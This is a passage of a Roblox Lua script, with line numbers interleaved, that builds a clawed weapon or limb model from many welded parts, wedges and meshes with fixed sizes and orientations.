CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
695
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
696
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
697
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
698
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
699
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
700
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
701
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
702
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
703
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
704
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
705
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
706
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
707
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
708
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
709
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
710
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
711
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
712
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
713
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
714
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
715
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
716
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
717
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
718
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
719
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
720
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
721
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
722
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
723
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
724
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
725
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
726
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
727
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
728
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
729
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
730
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
731
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
732
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
733
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
734
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
735
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
736
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
737
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
738
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
739
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
740
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
741
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
742
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
743
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
744
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
745
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
746
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
747
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
748
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
749
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
750
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
751
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
752
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
753
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
754
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
755
Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
756
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
757
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
758
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
759
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
760
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
761
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
762
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
763
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
764
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
765
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
766
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
767
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
768
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
769
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
770
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
771
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
772
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
773
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
774
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
775
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
776
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
777
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
778
CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
779
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
780
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
781
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
782
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
783
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
784
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
785
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
786
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
787
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
788
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
789
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
790
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
791
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
792
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
793
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
794
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
795
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
796
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
797
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
798
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
799
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
800
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
801
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
802
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
803
MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
804
MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
805
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
806
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
807
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
808
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
809
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
810
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
811
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
812
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
813
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
814
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
815
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
816
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
817
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
818
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
819
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
820
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
821
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
822
ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
823
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
824
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
825
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
826
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
827
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
828
MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
829
MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
830
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
831
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
832
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
833
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
834
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
835
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
836
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
837
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
838
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
839
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
840
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
841
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
842
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
843
